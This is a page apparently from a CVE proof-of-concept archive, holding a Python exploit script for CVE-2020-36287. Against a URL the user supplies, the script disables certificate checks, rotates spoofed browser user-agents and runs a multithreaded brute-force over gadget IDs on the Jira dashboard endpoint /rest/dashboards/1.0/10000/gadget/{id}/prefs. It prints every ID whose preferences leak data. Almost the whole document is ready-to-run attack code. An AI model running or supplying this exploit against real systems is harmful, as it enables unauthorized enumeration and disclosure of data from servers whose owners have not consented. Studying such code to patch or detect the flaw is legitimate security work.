4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2020-36287.py PY
# https://site.com/rest/dashboards/1.0/10000/gadget/{id}/prefs

import time
import random
import urllib3
import argparse
from urllib3 import Timeout, Retry
from multiprocessing import Pool, freeze_support

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--threads", help="number of threads (15)", type=int, default=15)
parser.add_argument("-o", "--timeout", help="timeout", type=int, default=1)
parser.add_argument("-u", "--url", help="url", type=str, required=True)
args = parser.parse_args()

ua = ['Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65',
      'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)',
      'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)',
      'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)',
      'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)',
      'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
      'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko)']


def header_gen():
    header = {
        'User-agent': random.choice(ua),
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Connection': 'keep-alive'}
    http = urllib3.PoolManager(headers=header, cert_reqs=False, num_pools=30)
    return http


def brute(number):
    time.sleep(args.timeout)
    try:
        https_req = header_gen().request("GET", args.url + f"/rest/dashboards/1.0/10000/gadget/{number}/prefs",
                                         retries=Retry(3), timeout=Timeout(15))
        if len(https_req.data.decode("utf-8")) > 1:
            print(number)
    except Exception as ex:
        if "Max retries exceeded with url" in str(ex):
            pass
        else:
            print(str(ex))


if __name__ == "__main__":
    freeze_support()
    numbers = [number for number in range(9000, 19999)]
    pool = Pool(args.threads)
    pool.map(brute, numbers)
    pool.close()
    pool.join()